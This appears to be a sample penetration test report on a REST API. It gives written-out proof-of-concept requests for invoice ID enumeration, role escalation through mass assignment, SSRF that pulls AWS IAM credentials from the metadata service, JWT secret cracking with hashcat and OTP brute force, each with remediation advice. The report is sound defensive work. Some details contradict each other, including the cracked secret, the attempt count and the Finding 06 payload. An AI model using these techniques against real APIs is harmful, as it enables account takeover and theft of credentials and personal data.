REST API Penetration Testing Report for [Client Name]

Business Confidential

Date: Jan 18th, 2026
Project: DC-001
Version 1.0

Table of Content

Table of Contents 2
Confidentiality Statement 3
Disclaimer 3
Executive Summary 3
Methodology 4
Technical Findings 5
Conclusion & Next Steps 10
End of Report 11

Confidentiality Statement

This document is the exclusive property of [Client Name] and APIVAPT. This report contains highly sensitive, proprietary information regarding the security posture and technical architecture of the target infrastructure. Any unauthorized duplication, redistribution, or use; in whole or in part; without the express written consent of both **APIVAPT** and **[Client Name]** is strictly prohibited.

[Client Name] is permitted to share this document with authorized third-party auditors and regulatory bodies under a non-disclosure agreement (NDA) to demonstrate compliance with security standards and penetration testing requirements.

Disclaimer

A penetration test is a **point-in-time assessment**. The findings, vulnerabilities, and strategic recommendations contained herein reflect the security state of the target environment only during the specific window of the engagement.

Due to the time-limited nature of this assessment, this report does not represent an exhaustive evaluation of every possible security control. **APIVAPT** utilizes a manual-first methodology, prioritizing the identification of high-impact logic flaws and exploit chains that present the greatest risk of unauthorized access or data exfiltration.

Security is a continuous process, not a destination. **APIVAPT** strongly recommends that **[Client Name]** performs deep-dive manual assessments on an annual basis or after any significant architectural changes (such as major API versioning or cloud migrations) to ensure the ongoing integrity of the business logic and technical infrastructure.

1. Executive Summary

1.1 Overview

APIVAPT was engaged by **[Client Name]** to conduct a manual-led offensive security assessment of their REST API environment. The engagement was performed over a two-week period, from **January 1, 2026, to January 15, 2026**.

The primary objective of this timeframe was to move beyond the capabilities of automated scanners and identify deep-seated **business logic flaws** and **authorization vulnerabilities** that could lead to unauthorized data access or system compromise. Our testers focused on high-traffic endpoints and sensitive data handling processes to ensure a comprehensive evaluation of the API's resilience against human-led attacks.

1.2 Key Findings

The assessment uncovered critical weaknesses in how the API handles user identity and resource ownership. While the infrastructure successfully blocked basic automated "handbook" attacks, it failed to defend against **context-aware manual exploitation**.

- **Logic Dominance:** 80% of the high-impact findings were logic-based (BOLA/Mass Assignment), which typically bypass traditional Web Application Firewalls (WAF) and automated tools.
- **Data Exposure:** A Critical vulnerability in the billing endpoint allowed for the total exfiltration of customer records via simple ID manipulation.
- **Privilege Escalation:** Flaws in the user profile logic allowed standard users to grant themselves administrative permissions.

1.3 Risk Profile Summary

Severity	Count	Status
Critical	2	Action Required
High	3	Immediate Attention
Medium	1	Planned Remediation

1.4 Strategic Recommendation

The overall security posture of the API is **Moderate**, but high-risk logic flaws must be addressed immediately. APIVAPT recommends moving toward a **"Zero Trust"** authorization model where every request is explicitly validated against the resource owner's identity. Following the remediation of these findings, a re-test is recommended to ensure the patches do not introduce new logic gaps.

2. Methodology

APIVAPT employs a multi-layered testing methodology that combines industry-standard frameworks with proprietary manual exploitation techniques.

2.1 Framework Alignment

Our testing process is mapped to the **OWASP API Security Top 10** and the **WSTG (Web Security Testing Guide)**. This ensures that all baseline vulnerabilities are covered while allowing for deep-tissue logic testing.

2.2 Phase 1: Reconnaissance & Mapping

We begin by mapping the entire API surface area, identifying hidden endpoints, and documenting the data flow between the client and the server. We analyze API documentation (Swagger/OpenAPI) to understand intended business logic.

2.3 Phase 2: Automated Baseline Scanning

Automated tools are utilized to identify "low-hanging fruit" such as known CVEs, outdated headers, and TLS misconfigurations. This allows our experts to focus their time on more complex vulnerabilities.

2.4 Phase 3: Manual Logic Exploitation (Core Phase)

The majority of the engagement is spent in this phase. Our testers manually intercept and modify traffic using tools like **Burp Suite Professional** and **Postman**. We specifically target:

- **Authorization Chains:** Testing BOLA/BBP across different user roles.
- **Input Manipulation:** Attempting to bypass validation via Mass Assignment or Injection.
- **State Machine Attacks:** Testing if API calls can be made out of order to bypass security checks.

2.5 Phase 4: Risk Analysis & Reporting

Identified vulnerabilities are triaged based on their **Impact** and **Likelihood**. Each finding is validated to ensure zero false positives before being included in this report.

3. Technical Findings

Root API Endpoint: https://api.target-app.com/

[FINDING 01] Broken Object Level Authorization (BOLA)

- **Severity:** 🔴 **CRITICAL**
- **Vulnerability Class:** OWASP API1:2023
- **Endpoint:** `GET /api/v1/billing/invoices/{invoice_id}`

Description: The API fails to check if the `invoice_id` requested by the user actually belongs to that user's account. By simply incrementing or guessing the `invoice_id` value, an attacker can access the private billing information, full names, and addresses of the entire customer base.

Manual Proof of Concept (PoC):

1. **Attacker logs in** as `User_A` and receives a valid JWT.
2. **Attacker intercepts** their own invoice request: `/api/v1/billing/invoices/1005`.
3. **Attacker modifies** the ID to `1006` (belonging to `User_B`).
4. **Result:** The server returns the full PII (Personally Identifiable Information) of `User_B`.

Steps to Reproduce:

```
GET /api/v1/billing/invoices/1006 HTTP/1.1
Host: api.target-app.com
Authorization: Bearer [User_A_Token]

-- RESPONSE --
HTTP/1.1 200 OK
{
  "invoice_id": "1006",
  "customer_name": "Jane Smith",
  "total_amount": "$4,500.00",
  "address": "123 Private St, London, UK"
}
```

Remediation:

Implement an authorization check at the database level. The query should look like: `SELECT * FROM Invoices WHERE id = ? AND owner_id = ?`

[FINDING 02] Privilege Escalation via Mass Assignment

- **Severity:** 🔴 **CRITICAL**
- **Vulnerability Class:** OWASP API3:2023
- **Endpoint:** `PATCH /api/v1/user/settings`

Description: The API endpoint responsible for updating user profiles is over-permissive. It accepts any JSON key-value pair and maps it directly to the User object in the database. An attacker can inject the `"role"` or `"isAdmin"` field into the request to grant themselves administrative privileges.

Manual Proof of Concept (PoC):

1. **Attacker** captures the request to change their "Display Name."
2. **Attacker adds** the parameter `"role": "admin"` to the JSON body.
3. **Result:** The server processes the request and updates the user's permissions in the backend database.

Steps to Reproduce:

```
// ATTACKER REQUEST
PATCH /api/v1/user/settings HTTP/1.1
Content-Type: application/json
Authorization: Bearer [Attacker_Token]

{
  "display_name": "Hacker",
  "role": "ADMIN",
  "is_staff": true
}

-- RESPONSE --
HTTP/1.1 200 OK
{
  "message": "Profile updated successfully. Your new role is: ADMIN"
}
```

Remediation:

Use **Data Transfer Objects (DTOs)** to define exactly which fields are allowed to be updated by the user. Blacklisting fields is insufficient; use an explicit **Allow-list**.

[FINDING 03] Server-Side Request Forgery (SSRF)

- **Severity: ● HIGH**
- **Vulnerability Class:** OWASP API7:2023
- **Endpoint:** `POST /api/v1/user/import-avatar?url={external_url}`

Description: The API allows users to import profile pictures from an external URL. The server fetches the image without validating the destination IP. A manual tester can manipulate this to force the server to make requests to internal resources, such as the cloud provider's metadata service.

Manual Proof of Concept (PoC):

1. **Attacker** identifies the profile image import feature.
2. **Attacker provides** the internal AWS metadata URL instead of a public image.
3. **Result:** The server returns the internal AWS IAM credentials in the response body.

Steps to Reproduce:

```
POST /api/v1/user/import-avatar?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role HTTP/1.1
Host: api.target-app.com
Authorization: Bearer [User_Token]
```

```
-- RESPONSE --
HTTP/1.1 200 OK
{
  "status": "success",
  "data": "{ 'AccessKeyId': 'ASIA...', 'SecretAccessKey': 'wJalr...', 'Token': '...' }"
}
```

Remediation:

Implement a strict **Allow-list** for approved domains and block all requests to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and metadata IPs.

[FINDING 04] JWT Secret Key Brute-Force

- **Severity: 🟠 HIGH**
- **Vulnerability Class:** OWASP API2:2023
- **Target:** API Authentication Header

Description: The API uses JSON Web Tokens (JWT) signed with the **HS256** algorithm. During manual testing, the signing secret was found to be a weak, common string. An attacker can brute-force this secret offline and then forge a token to impersonate any user, including the system administrator.

Manual Proof of Concept (PoC):

1. **Attacker captures** a valid JWT from the API.
2. **Attacker uses** an offline tool (e.g., Hashcat) to crack the secret.
3. **Result:** Secret found: `"Secret1234"`.
4. **Attacker forges** a new JWT with `"sub": "admin"` and signs it with the cracked secret.

Steps to Reproduce:

```
# Attacker cracks the secret using a wordlist
$ hashcat -a 0 -m 16500 jwt_token.txt common_passwords.txt --force
# Result: [company_secret_2024]
```

Remediation:

Switch from HS256 (Symmetric) to **RS256 (Asymmetric)**. Use a strong, randomly generated private key stored in a secure Key Management Service (KMS).

[FINDING 05] Lack of Rate Limiting (OTP Brute-Force)

- **Severity:** 🟠 **HIGH**
- **Vulnerability Class:** OWASP API4:2023
- **Endpoint:** `POST /api/v1/auth/verify-otp`

Description: The 4-digit One-Time Password (OTP) used for Multi-Factor Authentication (MFA) has no rate limiting or account lockout policy. This allows an attacker to automate thousands of requests in seconds to guess the correct code.

Manual Proof of Concept (PoC):

1. **Attacker triggers** an OTP for the target user's email.
2. **Attacker runs** a manual intruder script (via Burp Suite) to iterate through all 10,000 combinations (0000-9999).
3. **Result:** The API returns a `200 OK` for code `4821` after 4,800 attempts, bypassing MFA.

Steps to Reproduce:

```
POST /api/v1/auth/verify-otp HTTP/1.1
Content-Type: application/json

{ "email": "victim@target.com", "otp": "§0000§" }



-- RESULT AFTER 4,821 ATTEMPTS --
HTTP/1.1 200 OK
{ "message": "Authentication Successful", "token": "ey..." }
```

Remediation:

Implement strict rate limiting on all authentication endpoints. Block the account or require a cooling-off period after 5 failed OTP attempts.

[FINDING 06] Verbose Error Messages (Information Leakage)

- **Severity:** 🟡 **MEDIUM**
- **Vulnerability Class:** OWASP API9:2023
- **Endpoint:** `GET /api/v1/products/{product_uuid}`

Description: The API is configured to return full stack traces when an unhandled exception occurs. By sending a malformed or non-existent UUID string, the application reveals internal system details including the Java Spring Boot version, internal file directory paths, and database query structures.

Manual Proof of Concept (PoC):

1. **Attacker** sends a request with an invalid UUID: `' OR 1=1 --`.
2. **The API** fails to catch the error and returns a `500 Internal Server Error`.
3. **Result:** The response body contains a detailed stack trace revealing: `Caused by: org.postgresql.util.PSQLException`.

Steps to Reproduce:

```
GET /api/v1/products/invalid-id-123' HTTP/1.1
Host: api.target-app.com

-- RESPONSE --
HTTP/1.1 500 Internal Server Error
{
  "timestamp": "2026-01-10T14:22:01",
  "exception": "java.lang.IllegalArgumentException",
  "message": "Invalid UUID format",
  "path": "/home/web/api/v1/products.java",
  "stacktrace": "at com.target.api.service.ProductService.findById(ProductService.java:42)..."
}
```

Remediation:

Configure a global exception handler to return generic error messages (e.g., "An unexpected error occurred") to the client while logging the detailed stack trace only to internal, secure logging servers.

4. Conclusion & Next Steps

4.1 Final Assessment

The security assessment conducted by **APIVAPT** between **January 1, 2026, and January 15, 2026**, highlights a common trend in modern API environments: **Automated defenses are strong, but Business Logic is fragile.**

While the infrastructure demonstrates a baseline level of security, the presence of **Critical BOLA and Mass Assignment** vulnerabilities suggests that an attacker could bypass standard security controls to access sensitive PII and administrative functions. The findings in this report underscore the necessity of human-led, offensive testing that understands the *context* of the application, not just its code.

4.2 Remediation Roadmap

1. **Immediate (0-7 Days):** Patch the BOLA and Mass Assignment flaws. These represent the highest risk to data integrity.
2. **Short Term (8-30 Days):** Implement rate limiting and harden JWT signing algorithms.

3. **Strategic:** Transition to an "Authorize-First" architecture where the identity of the user is validated against every requested object.

4.3 Retesting

APIVAPT recommends a focused retest of all **Critical** and **High** findings once remediation is complete. This ensures that the patches effectively close the vulnerabilities without introducing new logic gaps or performance regressions.

End of Report

For inquiries regarding this assessment, please contact: abubakr.moh@apivapt.com